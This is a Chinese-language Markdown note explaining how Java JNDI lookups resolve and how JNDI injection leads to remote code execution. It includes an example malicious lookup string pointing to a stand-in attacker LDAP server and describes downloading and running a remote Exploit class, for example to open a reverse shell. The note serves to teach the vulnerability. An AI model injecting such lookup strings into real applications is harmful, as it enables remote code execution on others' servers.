24 lines
2.6 KiB
Markdown
24 lines
2.6 KiB
Markdown
### JNDI 的解析流程和原理
|
||
|
||
**JNDI 的解析流程**
|
||
|
||
JNDI 的解析过程可以概括为以下几个步骤:
|
||
|
||
1. **初始上下文(Initial Context)**:应用程序首先通过 `javax.naming.InitialContext` 类创建一个初始上下文。这个上下文是 JNDI 查找的起点,它包含了连接到特定命名和目录服务所需的环境信息,例如服务提供商的 URL、认证信息等
|
||
2. **查找(Lookup)**:应用程序使用 `context.lookup(name)` 方法来查找一个对象。`name` 是一个字符串,表示要查找的对象的名称或路径
|
||
3. **服务提供商(Service Provider)**:JNDI 会根据初始上下文中配置的服务提供商信息,将查找请求委托给相应的服务提供商。例如,如果 URL 是 `ldap://...`,则会使用 LDAP 服务提供商;如果 URL 是 `rmi://...`,则会使用 RMI 服务提供商
|
||
4. **命名和目录服务**:服务提供商与实际的命名和目录服务进行通信,并根据请求的名称查找对应的对象
|
||
5. **返回结果**:命名和目录服务返回查找到的对象。这个对象可以是任何 Java 对象,例如一个字符串、一个数据库连接,甚至是一个远程方法调用的引用
|
||
|
||
**JNDI 注入的原理**
|
||
|
||
JNDI 注入是一种利用 JNDI 漏洞的攻击方式。它的核心思想是,**攻击者控制了 `context.lookup(name)` 方法中的 `name` 参数,使其指向一个恶意的远程服务,从而在受害者服务器上执行任意代码**
|
||
|
||
具体原理如下:
|
||
|
||
1. **注入恶意 URL**:攻击者通过某种方式(如 HTTP 请求参数、日志等)将一个恶意的 JNDI URL 注入到应用程序中。这个 URL 通常指向攻击者控制的远程服务器,例如 `ldap://attacker.com:1389/Exploit`
|
||
2. **触发查找**:应用程序在处理用户输入时,无意中将这个恶意 URL 作为 `context.lookup()` 方法的参数进行调用
|
||
3. **JNDI 请求恶意服务**:JNDI 框架会向攻击者控制的 LDAP 服务器发起请求,查找 `Exploit` 这个对象
|
||
4. **返回恶意引用**:攻击者的 LDAP 服务器接收到请求后,会返回一个特殊的响应,这个响应中包含了**一个远程代码库(Codebase)的 URL**,例如 `http://attacker.com/`,以及一个类名 `Exploit`
|
||
5. **加载远程类**:当 JNDI 收到这个响应后,它会根据返回的远程代码库 URL,从攻击者的 Web 服务器下载 `Exploit.class` 文件
|
||
6. **执行恶意代码**:JNDI 框架会自动实例化并执行 `Exploit` 类中的代码。`Exploit` 类通常包含一个静态代码块或构造函数,用于执行恶意命令,例如反弹 shell、创建文件等 |